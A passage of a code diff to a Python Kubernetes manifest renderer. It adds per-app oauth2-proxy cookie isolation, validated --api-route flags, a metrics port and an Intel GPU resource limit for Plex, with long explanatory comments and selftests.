+# Service port: these sidecars' Services expose the app port and :4180, and each namespace's
+# default-deny baseline has `ingress: []`, so Prometheus can neither resolve nor reach this
+# port until a Service port (or PodMonitor), a monitoring-ingress allow and a ServiceMonitor
+# are added. Do not read this flag as "metrics are working".
+OAUTH2_PROXY_METRICS_PORT = 44180
+
+# --- Hardware capability: `hardware.gpu: intel-quicksync` ------------------------------
+# The ServiceDefinition declares the CAPABILITY (schemas/servicedefinition.schema.json
+# `hardware.gpu`); everything below is the MECHANISM that currently satisfies it and is
+# deliberately confined to this file. This file is the ONLY place the mechanism appears,
+# which is what let it be swapped on 2026-10-01 -- from a `/dev/dri` hostPath to the Intel
+# GPU device plugin's extended resource -- with ZERO ServiceDefinition edits.
+#
+# The extended resource is advertised by the `intel-gpu-plugin` DaemonSet
+# (platform/intel-gpu-plugin/, pinned intel/intel-gpu-plugin:0.37.0). MEASURED on all three
+# prod nodes 2026-10-01: `.status.allocatable["gpu.intel.com/i915"] == 1`.
+QUICKSYNC_RESOURCE = "gpu.intel.com/i915"
+
+# --- API routes: 401 instead of 302, PER APP ------------------------------------------
+# oauth2-proxy answers an unauthenticated request with a 302 to Keycloak. Its built-in AJAX
+# guard would send a 401 instead, but it fires only on an EXACT `Accept: application/json`,
+# which these apps' JavaScript does not consistently send. So an unauthenticated XHR gets a
+# 302, the browser follows it INVISIBLY, the live Keycloak SSO session satisfies it silently,
+# and the call resolves 200 carrying the app's HTML where the JavaScript expected JSON — no
+# prompt, no console error, nothing logged as a failure. On a WRITE it is worse: a browser
+# following a 302 re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
+# discarded and the UI reports success. MEASURED, twice:
+#   jackett  2026-09-30: 33 x 302 against 2 x 401 on /api/ paths, and 4 of 6 POSTs answered by
+#            the proxy and never reaching the app (access-log upstream field `-`, not `/`).
+#   radarr   2026-10-01, 23h after the cookie fix rolled: 232 x 302, EVERY ONE a
+#            `POST /signalr/messages/negotiate` from the operator's own browser, upstream `-`.
+#            A left-open tab whose cookie the rename orphaned, polling forever, silently
+#            redirected every time, NEVER re-prompting. That is the reported symptom
+#            ("reloading never fixes it and I am never re-prompted") still happening in
+#            production, on a service nobody was looking at.
+# `--api-route=<regex>` makes matching paths answer 401.
+#
+# WHY THIS IS NOT A RENDERER CONSTANT, AND MUST NEVER BECOME ONE. The path shape is a property
+# of the APP, not of the forward-auth pattern: radarr's broken path is `/signalr/`, jackett's is
+# `/api/`, and PIHOLE SERVES NO `/api/` AT ALL. One constant would apply one app's path shape to
+# five, and the failure mode of a wrong one is not "no improvement" but "this service is
+# permanently broken": a path a BROWSER NAVIGATES to, answered 401, shows a logged-out operator
+# a bare error page and never offers a sign-in. So the routes are declared per service in
+# `auth.apiRoutes` (schema 1.9.0) and rendered one `--api-route` per entry — the flag is
+# repeatable, and it is SINGULAR: `--api-routes` does not exist in v7.8.1 and the proxy refuses
+# to start with it (verified against the pinned binary's own --help, 2026-10-01:
+# `--api-route strings   return HTTP 401 instead of redirecting to authentication server...`).
+#
+# BREADTH RATCHET. Every entry must be anchored at `^/` and continue with literal path
+# characters. That rejects `^/`, `^/.*`, `.*`, an unanchored `/api/`, and any alternation — the
+# shapes that turn a page load into a 401. Alternation is refused rather than supported because
+# the flag is repeatable, so one regex per route costs nothing and stays readable. The same
+# pattern is in the schema (so ci/l0.sh's schema stage rejects it at the authoring surface) and
+# enforced HERE (so ci/render-golden.sh fails even if the schema stage is skipped) — a breadth
+# mistake must not need two independent gates to both be running.
+OAUTH2_API_ROUTE_PATTERN = re.compile(r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$")
+
 
 # =============================================================================
 # Defaults (renderer-contract.md "Default posture") — materialize BEFORE mapping.
@@ -158,6 +239,12 @@ def apply_defaults(sd: dict) -> dict:
     if "mode" not in auth:
         auth["mode"] = "forward-auth" if s["ingressRoutes"] else "none"
     auth.setdefault("groups", [])
+    # apiRoutes default posture is EMPTY, deliberately, and that is the whole point of the field
+    # (schema 1.9.0): an app gets --api-route only where someone MEASURED that it serves a machine
+    # API, so a newly-onboarded app renders no --api-route at all rather than inheriting another
+    # app's path shape. See OAUTH2_API_ROUTE_PATTERN above for why a default of `^/api/` would be
+    # wrong rather than merely generous.
+    auth.setdefault("apiRoutes", [])
     s["auth"] = auth
 
     update = dict(s.get("update") or {})
@@ -483,6 +570,64 @@ def r_deployment(s: dict) -> dict:
                 "persistentVolumeClaim": {"claimName": f"{s['name']}-{vol['name']}"},
             }
         )
+    # hardware capability (schema-optional): `hardware.gpu: intel-quicksync` means this
+    # workload needs the host iGPU's render node for hardware video transcode. The SD says
+    # only that; the wiring below is the platform's current mechanism for satisfying it.
+    #
+    # THE MECHANISM IS AN EXTENDED RESOURCE, AND THE hostPath IT REPLACED WAS MEASURED NOT
+    # TO WORK. Do NOT "simplify" this back into a `/dev/dri` hostPath volume. That was the
+    # original implementation (merged 2026-09-30) and it was proven broken in the live Plex
+    # pod on k3s-prod-2 on 2026-10-01: the device node was VISIBLE in the container
+    # (`crw-rw---- root video2 226,128 renderD128`) and could not be opened --
+    # `uid 0 O_RDWR -> EPERM` and `uid 1000 O_RDWR -> EPERM`. EPERM from the DEVICE CGROUP,
+    # not EACCES from file permissions, proven three ways: root on the HOST opens the same
+    # device rc=0; the node is unified `cgroup2fs`; and the container's runc `config.json`
+    # read `linux.resources.devices: [{allow: False, access: 'rwm'}]` with
+    # `linux.devices: None` -- one deny-all rule, no allow entry for major 226. A hostPath is
+    # a filesystem operation: it binds the device node in but adds NO cgroup allow rule,
+    # because Kubernetes cannot infer one from a volume.
+    #
+    # The device plugin is what produces the allow rule. Confirmed in the v0.37.0 source:
+    # `createDeviceSpecsFromDrmFiles` emits `DeviceSpec{..., Permissions: "rw"}`, which the
+    # kubelet turns into both the device injection and the matching cgroup allow.
+    #
+    # `limits`, NOT `requests`, AND THAT IS NOT A STYLE CHOICE: an extended resource must be
+    # expressed in `limits`. Kubernetes mirrors `requests` from `limits` automatically, and a
+    # requests-only extended resource is invalid. App container only, never a sidecar -- the
+    # oauth2-proxy sidecar does no transcoding.
+    #
+    # THE FAILURE MODE THIS TRADED INTO, STATED PLAINLY -- it is worse in blast radius, and
+    # unavoidable. BEFORE: a missing device meant `DirectoryOrCreate` mounted an empty dir,
+    # Plex ran and SILENTLY software-transcoded (invisible, but harmless to everything else).
+    # NOW: if the resource is unavailable (plugin broken, removed, or not yet reconciled) the
+    # pod is UNSCHEDULABLE, and because `apps-wave-0` is `wait: true` with `apps-wave-1`
+    # dependsOn it, that STALLS THE APP TIER. There is no graceful-degradation variant: an
+    # extended resource is a hard scheduling constraint, and it is also the only thing that
+    # produces the cgroup allow rule. Plex's schedulability is now coupled to the
+    # intel-gpu-plugin DaemonSet; that is the price of hardware transcoding working at all.
+    # ESCAPE HATCH (one field, no code change): delete the `hardware:` block from
+    # `catalog/plex.yaml` and re-render -- Plex returns to software transcoding and the tier
+    # unblocks. runbooks/plex-quicksync.md carries it.
+    #
+    # `podSecurityContext.supplementalGroups` is DELIBERATELY NOT SET here, and adding it
+    # would be a regression, not a hardening. MEASURED in the running container on prod-2
+    # (2026-09-30, re-measured 2026-10-01): the image's own cont-init hook
+    # `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` `find`s every char device
+    # under /dev/dri, `stat -c '%g'` each one's GID, `groupadd`s a matching group INSIDE the
+    # container when none exists, and `usermod -a -G` the app user into it -- every start,
+    # nothing hardcoded. It does exactly the same thing to the PLUGIN-INJECTED device, which
+    # is why this swap needs no group work either. cont-init.d completes before services.d,
+    # so the account database s6 reads at exec time already carries the group: measured live,
+    # `Plex Media Server` ran with `Groups: 44 100 992 1000`, where 992 is the host `render`
+    # GID. The service is started with `exec s6-setuidgid plex ...`, and `s6-setuidgid`
+    # REPLACES the process group list from /etc/group rather than appending to it, so
+    # anything Kubernetes puts in supplementalGroups reaches s6-svscan and is discarded
+    # before the app ever starts. A supplementalGroups entry here would be inert AND would
+    # mislead whoever debugs this next.
+    hw_gpu = (s.get("hardware") or {}).get("gpu")
+    if hw_gpu == "intel-quicksync":
+        container["resources"] = {"limits": {QUICKSYNC_RESOURCE: 1}}
+
     if volume_mounts:
         container["volumeMounts"] = volume_mounts
 
@@ -971,7 +1116,16 @@ def _oauth2_sidecar_container(s: dict) -> dict:
     auth.group (R-IDP-06: a valid session is not enough — the user must be in an authorized group,
     else /oauth2 returns 403). client-id/secret + cookie-secret come by name from the SOPS-encrypted
     `<app>-oauth2-proxy` Secret (R-IDP-04). Single provider => --skip-provider-button 302s straight
-    to Keycloak. The sidecar->app hop is pod-local (127.0.0.1) and not subject to network policy."""
+    to Keycloak. The sidecar->app hop is pod-local (127.0.0.1) and not subject to network policy.
+
+    --cookie-name and --cookie-domain are DERIVED per app (see the block comment on those two
+    args): every instance holds a different cookie-secret, so sharing one cookie name across the
+    zone makes the instances evict each other's sessions.
+
+    --api-route is DECLARED per app, from auth.apiRoutes, and is the one flag here that is
+    neither a constant nor derivable: it names the paths THIS app serves as a machine API, and
+    those differ per app (radarr `/signalr/`, jackett `/api/`, pihole none). An app that declares
+    none renders no --api-route at all."""
     route = s["ingressRoutes"][0]
     host = route["host"]
     upstream_port = route["port"]
@@ -991,11 +1145,85 @@ def _oauth2_sidecar_container(s: dict) -> dict:
     args += [
         "--skip-provider-button=true",
         f"--redirect-url=https://{host}/oauth2/callback",
-        f"--cookie-domain=.{ZONE}",
+    ]
+    # ── API ROUTES: 401 instead of 302, ON THIS APP'S OWN PATHS ONLY ───────────────────────
+    # One flag per declared route, in declared order. An app that declares NONE renders NO
+    # --api-route, which is the correct and common case — see OAUTH2_API_ROUTE_PATTERN above for
+    # the measurements, for why this cannot be a renderer constant, and for the breadth ratchet.
+    # Validated here as well as in the schema so a breadth mistake is caught by render-golden
+    # even on a run where the schema stage did not execute.
+    for route in s["auth"].get("apiRoutes", []):
+        if not OAUTH2_API_ROUTE_PATTERN.match(str(route)):
+            raise SystemExit(
+                f"render.py: {s['name']}: auth.apiRoutes entry {route!r} is not an anchored path "
+                f"regex. Each entry must start with '^/' and continue with literal path "
+                f"characters (e.g. '^/api/', '^/signalr/', '^/api/v3/.*'). Rejected shapes: '^/' "
+                f"and '^/.*' (match every page load), an unanchored '/api/' (matches mid-path), "
+                f"and alternation (the flag is repeatable — declare one entry per route). A "
+                f"too-broad --api-route answers a PAGE LOAD with 401, so a logged-out operator "
+                f"sees a bare error page and is never offered a sign-in: the service looks "
+                f"permanently broken rather than merely unauthenticated."
+            )
+        args.append(f"--api-route={route}")
+    args += [
+        # ── COOKIE ISOLATION (fleet fix 2026-09-30; crafty's 2026-09-29 fix, generalized) ──────
+        # EVERY oauth2-proxy on this platform — this sidecar, its four siblings, and the SHARED
+        # forward-auth proxy (platform/oauth2-proxy) — is an INDEPENDENT instance holding its OWN
+        # `cookie-secret`. Measured on prod 2026-09-30: seven `*-oauth2-proxy` Secrets, seven
+        # DISTINCT cookie-secret values, so no instance can decrypt any other's cookie.
+        #
+        # Left at oauth2-proxy's DEFAULTS (`_oauth2_proxy` / `_oauth2_proxy_csrf`) and scoped to
+        # `.${BASE_DOMAIN}`, the browser therefore keeps ONE cookie pair for ALL of them:
+        # whichever proxy authenticates last OVERWRITES every other's session. The loser logs
+        # "No valid authentication in request" and bounces to Keycloak, which — the SSO session
+        # still being live — redirects straight back and overwrites the cookie again. The
+        # user-visible symptom is "I signed into Keycloak but I'm still not signed in", and it
+        # sends you hunting in Keycloak, where nothing is wrong. Silent, intermittent, and
+        # misattributed: the exact shape this repo keeps getting burned by.
+        #
+        # WHY IT WAS *INTERMITTENT*, AND WHY RELOADING NEVER HELPED. The loser does not merely
+        # fail to read the cookie — it calls ClearSession, which EXPIRES the cookie on its own
+        # --cookie-domain, i.e. the whole zone. And the *arr UIs poll: measured on prod, radarr's
+        # rejections are `/api/v3/command`, `/api/v3/queue/details` and `/signalr/negotiate`,
+        # 155 of them in 12h against 1 successful auth. Every poll carrying a cookie radarr
+        # cannot decrypt calls ClearSession again — so A LEFT-OPEN RADARR TAB DELETES JACKETT'S
+        # COOKIE EVERY FEW SECONDS, from another namespace, with no user action at all. That is
+        # the intermittency, and it is why signing in again fixed nothing for longer than the
+        # gap between two polls. Host-scoping the cookie (below) is what contains the blast
+        # radius of a ClearSession to the app that issued it.
+        #
+        # DERIVED, NOT LISTED. Both flags come from the ServiceDefinition (`s['name']` and the
+        # route host), so a NEW forward-auth app is isolated the moment it is onboarded. A
+        # per-service table would leave the next app defaulting into the collision, which is how
+        # twelve ServiceMonitors acquired one identical wrong port name in a single edit.
+        # conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct asserts both properties
+        # over the WHOLE tree and asserts THIS function derives rather than lists.
+        #
+        #   --cookie-name   a unique name per instance, so two sessions cannot alias at all.
+        #                   This is the fix; the one below is defence in depth.
+        #   --cookie-domain HOST-scoped. A per-app reverse proxy has no reason to broadcast its
+        #                   session cookie to every other host in the zone — a zone-wide cookie
+        #                   is transmitted to every sibling app on `.${BASE_DOMAIN}`, so any
+        #                   FUTURE name collision would again be platform-wide instead of
+        #                   contained. The SHARED forward-auth proxy keeps the wide scope,
+        #                   because cross-host forward-auth is precisely its job.
+        #
+        # --whitelist-domain deliberately stays ZONE-WIDE: it governs permitted post-login
+        # REDIRECT targets, not cookie scope. Narrowing it here would break the sign-in bounce.
+        f"--cookie-name=_oauth2_proxy_{s['name']}",
+        f"--cookie-domain={host}",
         f"--whitelist-domain=.{ZONE}",
         "--cookie-secure=true",
+        # Spend the refresh token the proxy already holds, at half the 300s access-token
+        # lifetime. Without this the session dies 5 minutes after sign-in. See
+        # OAUTH2_ACCESS_TOKEN_LIFETIME_S above for the measurement and the
+        # --session-cookie-minimal incompatibility.
+        f"--cookie-refresh={OAUTH2_COOKIE_REFRESH}",
         "--pass-access-token=true",
         "--set-xauthrequest=true",
+        # Start the /metrics listener. Prerequisite only — not yet reachable by Prometheus;
+        # see OAUTH2_PROXY_METRICS_PORT above for exactly what is still missing.
+        f"--metrics-address=0.0.0.0:{OAUTH2_PROXY_METRICS_PORT}",
     ]
     secret = f"{s['name']}-oauth2-proxy"
     return {
@@ -1017,7 +1245,10 @@ def _oauth2_sidecar_container(s: dict) -> dict:
                 "valueFrom": {"secretKeyRef": {"name": secret, "key": "cookie-secret"}},
             },
         ],
-        "ports": [{"name": "http", "containerPort": OAUTH2_PROXY_PORT, "protocol": "TCP"}],
+        "ports": [
+            {"name": "http", "containerPort": OAUTH2_PROXY_PORT, "protocol": "TCP"},
+            {"name": "metrics", "containerPort": OAUTH2_PROXY_METRICS_PORT, "protocol": "TCP"},
+        ],
         "resources": {
             "requests": {"cpu": "25m", "memory": "64Mi"},
             "limits": {"memory": "128Mi"},
@@ -1771,6 +2002,24 @@ EXTRA_UNITS: dict = {
             "pihole-dns.yaml",
         ],
     },
+    # Plex's remote-access exposure: the raw tcp/32400 LoadBalancer Service on a pinned VIP, plus the
+    # CiliumNetworkPolicy that admits off-cluster clients to it (apps/wave-0/plex-remote.yaml).
+    # `above: False` co-locates it in plex's OWN wave — these are the plex pod's own Service and its
+    # own policy, applied in the same wave as the Deployment they select, exactly as the rendered
+    # Service and CNPs in plex.yaml are. Nothing in a higher wave gates on it.
+    #
+    # It is a non-catalog unit for the same reason pihole-dns is: the ServiceDefinition schema cannot
+    # express a LoadBalancer Service or a pinned lbipam VIP (additionalProperties is false, and
+    # `ingressRoutes` only renders HTTPRoutes on the L7 Gateway, which cannot carry Plex's raw port).
+    # Plex's own settings stay in the catalog as env on catalog/plex.yaml; the only thing living
+    # outside it is the exposure the schema has no word for.
+    "plex-remote": {
+        "anchor": "plex",
+        "above": False,
+        "files": [
+            "plex-remote.yaml",
+        ],
+    },
 }
 
 
@@ -2440,6 +2689,128 @@ def _selftest() -> int:
         "an SD without podSecurityContext must not gain a pod securityContext",
     )
 
+    # 6b) hardware.gpu: intel-quicksync -> a `gpu.intel.com/i915` LIMIT on the app container
+    #     and NOTHING ELSE: no volume, no volumeMount, no securityContext, no nodeSelector.
+    #     The SD declares the CAPABILITY; these assertions pin the MECHANISM that currently
+    #     satisfies it -- including what it deliberately does NOT emit -- so a change to it
+    #     is a deliberate, visible edit. The previous mechanism (a /dev/dri hostPath) is
+    #     asserted ABSENT: it was measured not to work (EPERM from the device cgroup; see
+    #     the emission site), and the absence assertion is what stops it coming back.
+    hw_docs = render(
+        {
+            "name": "hw",
+            "source": {"image": "a:1"},
+            "hardware": {"gpu": "intel-quicksync"},
+        }
+    )
+    hw_pod = next(
+        d[1] for d in hw_docs if d[1]["kind"] == "Deployment"
+    )["spec"]["template"]["spec"]
+    hw_app = hw_pod["containers"][0]
+    # The whole mechanism, exactly: an extended resource in `limits`. `requests` is NOT set
+    # by the renderer -- Kubernetes mirrors it from `limits`, and a requests-only extended
+    # resource is invalid. Asserting the exact dict is deliberate: it fails if anyone adds a
+    # CPU/memory resources feature through this field (that would be scope creep, and this
+    # field is about the DEVICE only).
+    check(
+        hw_app.get("resources") == {"limits": {"gpu.intel.com/i915": 1}},
+        "hardware.gpu=intel-quicksync must render resources.limits "
+        "{gpu.intel.com/i915: 1} on the app container, and nothing else in resources",
+    )
+    # The retired mechanism must stay retired. A hostPath binds the device node in but adds
+    # no device-cgroup allow rule, so the open() was EPERM with the node plainly visible.
+    check(
+        not any(
+            "hostPath" in v or v.get("name") == "dri" for v in hw_pod.get("volumes", [])
+        )
+        and not any(
+            m.get("mountPath") == "/dev/dri" or m.get("name") == "dri"
+            for m in hw_app.get("volumeMounts", [])
+        ),
+        "hardware.gpu=intel-quicksync must render NO /dev/dri hostPath volume and no "
+        "/dev/dri mount (the hostPath mechanism was measured not to work: device-cgroup "
+        "EPERM; the device plugin's DeviceSpec Permissions: rw is what grants access)",
+    )
+    # The resource is the WHOLE feature: no pod securityContext is invented. The image's own
+    # cont-init hook adds the app user to the (plugin-injected) device's group inside the
+    # container, and s6-setuidgid discards any Kubernetes-supplied supplementalGroups anyway
+    # (see the emission site). Asserting the absence is what stops someone adding an inert
+    # one back.
+    check(
+        "securityContext" not in hw_pod,
+        "hardware.gpu must NOT invent a pod securityContext (supplementalGroups is inert "
+        "under s6-setuidgid; the image's cont-init hook handles the device group)",
+    )
+    # Nothing privileged, and no node pinning: Kyverno restrict-host-namespaces (Enforce)
+    # rejects `privileged: true` in an app namespace, and placement is a separate concern
+    # with its own justification -- this field is about the DEVICE only. (The extended
+    # resource now constrains placement to nodes the plugin advertises, which is the
+    # scheduler's own doing, not a nodeSelector this renderer writes.)
+    check(
+        "privileged" not in hw_pod.get("securityContext", {})
+        and "securityContext" not in hw_app
+        and "nodeSelector" not in hw_pod,
+        "hardware.gpu must emit no privileged securityContext and no nodeSelector",
+    )
+    # The regression that matters: absence renders NOTHING. Mirrors the podSecurityContext
+    # negative above -- an SD that does not opt in must be byte-identical to before.
+    nohw_pod = next(
+        d[1] for d in render({"name": "nohw", "source": {"image": "a:1"}})
+        if d[1]["kind"] == "Deployment"
+    )["spec"]["template"]["spec"]
+    check(
+        "volumes" not in nohw_pod
+        and "volumeMounts" not in nohw_pod["containers"][0]
+        and "resources" not in nohw_pod["containers"][0]
+        and "securityContext" not in nohw_pod,
+        "an SD without `hardware` must gain no resources block, no volume, no mount and no "
+        "securityContext",
+    )
+    # An SD that declares BOTH keeps its own podSecurityContext exactly as written -- the
+    # hardware field neither adds to it nor rewrites it.
+    hwm_pod = next(
+        d[1]
+        for d in render(
+            {
+                "name": "hwm",
+                "source": {"image": "a:1"},
+                "hardware": {"gpu": "intel-quicksync"},
+                "podSecurityContext": {"fsGroup": 1001, "supplementalGroups": [44]},
+            }
+        )
+        if d[1]["kind"] == "Deployment"
+    )["spec"]["template"]["spec"]
+    check(
+        hwm_pod["securityContext"] == {"fsGroup": 1001, "supplementalGroups": [44]}
+        and hwm_pod["containers"][0].get("resources")
+        == {"limits": {"gpu.intel.com/i915": 1}},
+        "hardware.gpu must leave the SD's own podSecurityContext untouched",
+    )
+    # The resource goes on the APP container only. A forward-auth app renders an oauth2-proxy
+    # sidecar, which does no transcoding and must not consume one of the node's i915 slots.
+    hws_containers = next(
+        d[1]
+        for d in render(
+            {
+                "name": "hws",
+                "source": {"image": "a:1"},
+                "hardware": {"gpu": "intel-quicksync"},
+                "ingressRoutes": [{"host": "hws.home.keithjackson.dev", "port": 8080}],
+                "auth": {"mode": "forward-auth", "groups": ["media-users"]},
+            }
+        )
+        if d[1]["kind"] == "Deployment"
+    )["spec"]["template"]["spec"]["containers"]
+    check(
+        len(hws_containers) == 2
+        and hws_containers[0].get("resources")
+        == {"limits": {"gpu.intel.com/i915": 1}}
+        and "gpu.intel.com/i915"
+        not in hws_containers[1].get("resources", {}).get("limits", {}),
+        "hardware.gpu must put the i915 limit on the APP container only, never on the "
+        "oauth2-proxy sidecar",
+    )
+
     # 6c) forward-auth (Option B): an exposed forward-auth app gets an oauth2-proxy sidecar that
     #     fronts the Gateway path (fail-closed), while oidc/native/none apps are unchanged.
     fa_docs = render(
@@ -2450,15 +2821,27 @@ def _selftest() -> int:
             "auth": {"mode": "forward-auth", "groups": ["media-users"]},
         }
     )
-    fa_dep = next(d[1] for d in fa_docs if d[1]["kind"] == "Deployment")
-    fa_containers = fa_dep["spec"]["template"]["spec"]["containers"]
+    fa_dep = next((d[1] for d in fa_docs if d[1]["kind"] == "Deployment"), None)
+    check(fa_dep is not None,
+          "a forward-auth app rendered NO Deployment, so there is no pod to gate at all")
+    fa_containers = (((fa_dep or {}).get("spec") or {}).get("template") or {}) \
+        .get("spec", {}).get("containers") or []
     check(
         len(fa_containers) == 2
         and fa_containers[0]["name"] == "fa"
         and fa_containers[1]["name"] == "oauth2-proxy",
-        "forward-auth app must render the app container FIRST + an oauth2-proxy sidecar SECOND",
+        f"forward-auth app must render the app container FIRST + an oauth2-proxy sidecar SECOND; "
+        f"rendered {[c.get('name') for c in fa_containers]!r}",
     )
-    side = fa_containers[1]
+    # EVERY assertion below reads `side`, so an absent sidecar must NOT be allowed to raise here.
+    # The whole point of the None-tolerant lookups in this block is that a missing sidecar (or a
+    # missing flag on it) reports as NAMED ASSERTIONS rather than as a traceback: an exception
+    # escaping _selftest() exits non-zero with the right verdict and ZERO diagnostics, and it
+    # hides every other assertion the same mutation broke. Measured by Desmond Oyelaran while
+    # wiring this selftest into the render-golden stage: deleting the --cookie-name emission gave
+    # rc 1 via an uncaught StopIteration and printed not one `SELFTEST FAIL:` line. Provoked
+    # again here with the sidecar removed entirely, which raised IndexError at this line.
+    side = fa_containers[1] if len(fa_containers) > 1 else {"args": [], "env": [], "ports": []}
     check(
         "--upstream=http://127.0.0.1:9117" in side["args"],
         "sidecar upstream must be the co-located app UI over http on 127.0.0.1:<uiport>",
@@ -2475,12 +2858,212 @@ def _selftest() -> int:
         not any(a.startswith("--ssl-upstream-insecure-skip-verify") for a in side["args"]),
         "http upstream must NOT skip TLS verify (that flag is only for crafty's self-signed https)",
     )
+    # COOKIE ISOLATION. Every oauth2-proxy instance holds its own cookie-secret, so two instances
+    # sharing a cookie NAME on a shared DOMAIN evict each other's sessions silently. Both flags
+    # must be DERIVED from this service, not defaulted and not listed.
     check(
-        side["env"][0]["valueFrom"]["secretKeyRef"]["name"] == "fa-oauth2-proxy",
+        "--cookie-name=_oauth2_proxy_fa" in side["args"],
+        "sidecar must declare a cookie name DERIVED from the service name — the oauth2-proxy "
+        "default (_oauth2_proxy) is shared with every other instance on the zone",
+    )
+    check(
+        "--cookie-domain=fa.home.keithjackson.dev" in side["args"],
+        "sidecar cookie-domain must be HOST-scoped (the app's own host), not zone-wide",
+    )
+    check(
+        f"--whitelist-domain=.{ZONE}" in side["args"],
+        "whitelist-domain must stay ZONE-wide — it governs post-login redirect targets, not "
+        "cookie scope; narrowing it breaks the sign-in bounce",
+    )
+    # SESSION LIFETIME. `--cookie-refresh` must be present AND strictly shorter than the
+    # measured 300s access-token lifetime, or the session dies mid-use. Asserted as a parsed
+    # duration rather than a string match, so "2m30s" -> "150s" -> "2.5m" stays green and a
+    # silent widening past the token lifetime does not.
+    refresh = next((a.split("=", 1)[1] for a in side["args"]
+                    if a.startswith("--cookie-refresh=")), None)
+    check(refresh is not None,
+          "sidecar must set --cookie-refresh; the v7.8.1 default is 0 = DISABLED, so the "
+          "session dies when the access token expires and the user is bounced to Keycloak")
+    if refresh is not None:
+        _m = re.fullmatch(r"(?:(\d+)m)?(?:(\d+(?:\.\d+)?)s)?", refresh)
+        _secs = (int(_m.group(1) or 0) * 60 + float(_m.group(2) or 0)) if _m else -1
+        check(0 < _secs < OAUTH2_ACCESS_TOKEN_LIFETIME_S,
+              f"--cookie-refresh={refresh} parses to {_secs}s, which is not inside "
+              f"(0, {OAUTH2_ACCESS_TOKEN_LIFETIME_S}s). A refresh at or past the access-token "
+              f"lifetime never renews in time, which is the same logout it was added to stop")
+    check(
+        not any(a.startswith("--session-cookie-minimal") for a in side["args"]),
+        "--session-cookie-minimal is MUTUALLY EXCLUSIVE with --cookie-refresh "
+        "('cookie_refresh > 0 requires oauth tokens in sessions') — the proxy refuses to start",
+    )
+    # METRICS. The listener does not exist unless the flag is given, and the port must be
+    # DECLARED or nothing can ever select it (neither a Service port nor a PodMonitor).
+    check(
+        f"--metrics-address=0.0.0.0:{OAUTH2_PROXY_METRICS_PORT}" in side["args"],
+        "sidecar must start the /metrics listener; without --metrics-address it is not merely "
+        "unscraped, it is not serving at all",
+    )
+    check(
+        [p["name"] for p in side["ports"]] == ["http", "metrics"]
+        and {p["containerPort"] for p in side["ports"]}
+        == {OAUTH2_PROXY_PORT, OAUTH2_PROXY_METRICS_PORT},
+        "sidecar must declare BOTH the http and metrics container ports — an undeclared port "
+        "cannot be named by a Service port or a PodMonitor, so the flag alone is inert",
+    )
+    # API ROUTES (schema 1.9.0). Three properties, and the FIRST is the one that keeps the field
+    # honest: an app that declares nothing must render NO --api-route. `fa` above declares none.
+    check(
+        not any(a.startswith("--api-route") for a in side["args"]),
+        "a forward-auth app that declares no auth.apiRoutes must render NO --api-route. A "
+        "default or a renderer constant would answer PiHole's page loads with 401 — PiHole "
+        "serves no /api/ at all — so the service would look permanently broken to a "
+        "logged-out operator instead of signing them in",
+    )
+    # Same `next(..., None)` discipline as _cookie_name() below, for the same reason: if the
+    # sidecar stops being rendered at all, this must report as a named assertion rather than as a
+    # StopIteration that swallows every other SELFTEST FAIL line in the run.
+    _faapi_dep = next(
+        (
+            d[1]
+            for d in render(
+                {
+                    "name": "faapi",
+                    "source": {"image": "a:1"},
+                    "ingressRoutes": [{"host": "faapi.home.keithjackson.dev", "port": 9119}],
+                    "auth": {
+                        "mode": "forward-auth",
+                        "groups": ["media-users"],
+                        "apiRoutes": ["^/api/", "^/signalr/"],
+                    },
+                }
+            )
+            if d[1]["kind"] == "Deployment"
+        ),
+        None,
+    )
+    fa_api_side = next(
+        (
+            c
+            for c in ((_faapi_dep or {}).get("spec", {}).get("template", {})
+                      .get("spec", {}).get("containers") or [])
+            if c.get("name") == "oauth2-proxy"
+        ),
+        None,
+    )
+    check(
+        fa_api_side is not None,
+        "a forward-auth app declaring auth.apiRoutes rendered NO oauth2-proxy sidecar, so the "
+        "routes have nowhere to land and the app is not gated at all (R-IDP-02)",
+    )
+    check(
+        fa_api_side is not None
+        and [a for a in fa_api_side["args"] if a.startswith("--api-route")]
+        == ["--api-route=^/api/", "--api-route=^/signalr/"],
+        "a declared auth.apiRoutes must render as one repeatable --api-route per entry, in "
+        "declared order, and NOTHING else. Note the flag is SINGULAR: --api-routes does not "
+        "exist in v7.8.1 and the proxy refuses to start with it",
+    )
+    # BREADTH. The renderer must REFUSE a regex that would match a page load, not merely
+    # discourage one, because the schema stage can be skipped and render-golden cannot.
+    for _bad in ("^/", "^/.*", ".*", "/api/", "^/api/|^/"):
+        try:
+            render(
+                {
+                    "name": "fabad",
+                    "source": {"image": "a:1"},
+                    "ingressRoutes": [{"host": "fabad.home.keithjackson.dev", "port": 9120}],
+                    "auth": {
+                        "mode": "forward-auth",
+                        "groups": ["media-users"],
+                        "apiRoutes": [_bad],
+                    },
+                }
+            )
+            _refused = False
+        except SystemExit:
+            _refused = True
+        check(
+            _refused,
+            f"the renderer ACCEPTED auth.apiRoutes entry {_bad!r}. A too-broad --api-route "
+            f"answers a plain page load with 401, so a logged-out operator sees a bare error "
+            f"page and is never offered a sign-in — the service looks permanently broken "
+            f"rather than merely unauthenticated, which is a worse failure than the 302 bug "
+            f"this flag exists to fix",
+        )
+    for _good in ("^/api/", "^/signalr/", "^/api/v3/.*", "^/api/v2.0/server/update$"):
+        check(
+            bool(OAUTH2_API_ROUTE_PATTERN.match(_good)),
+            f"the breadth ratchet rejected the legitimate route {_good!r}. A ratchet that "
+            f"blocks real API prefixes is a ratchet someone eventually deletes",
+        )
+
+    # Two forward-auth apps must not be able to collide. Renders a SECOND one and compares, so a
+    # future refactor to a constant (or to a per-service table with a copy-paste slip) fails here
+    # rather than silently in a browser six weeks later.
+    # Same None-tolerant shape as the `faapi` fixture above and for the same reason: a missing
+    # sidecar must surface as a named assertion, never as a traceback that suppresses the
+    # collected SELFTEST FAIL lines.
+    _fa2_dep = next(
+        (
+            d[1]
+            for d in render(
+                {
+                    "name": "fa2",
+                    "source": {"image": "a:1"},
+                    "ingressRoutes": [{"host": "fa2.home.keithjackson.dev", "port": 9118}],
+                    "auth": {"mode": "forward-auth", "groups": ["media-users"]},
+                }
+            )
+            if d[1]["kind"] == "Deployment"
+        ),
+        None,
+    )
+    fa2_side = next(
+        (
+            c
+            for c in ((_fa2_dep or {}).get("spec", {}).get("template", {})
+                      .get("spec", {}).get("containers") or [])
+            if c.get("name") == "oauth2-proxy"
+        ),
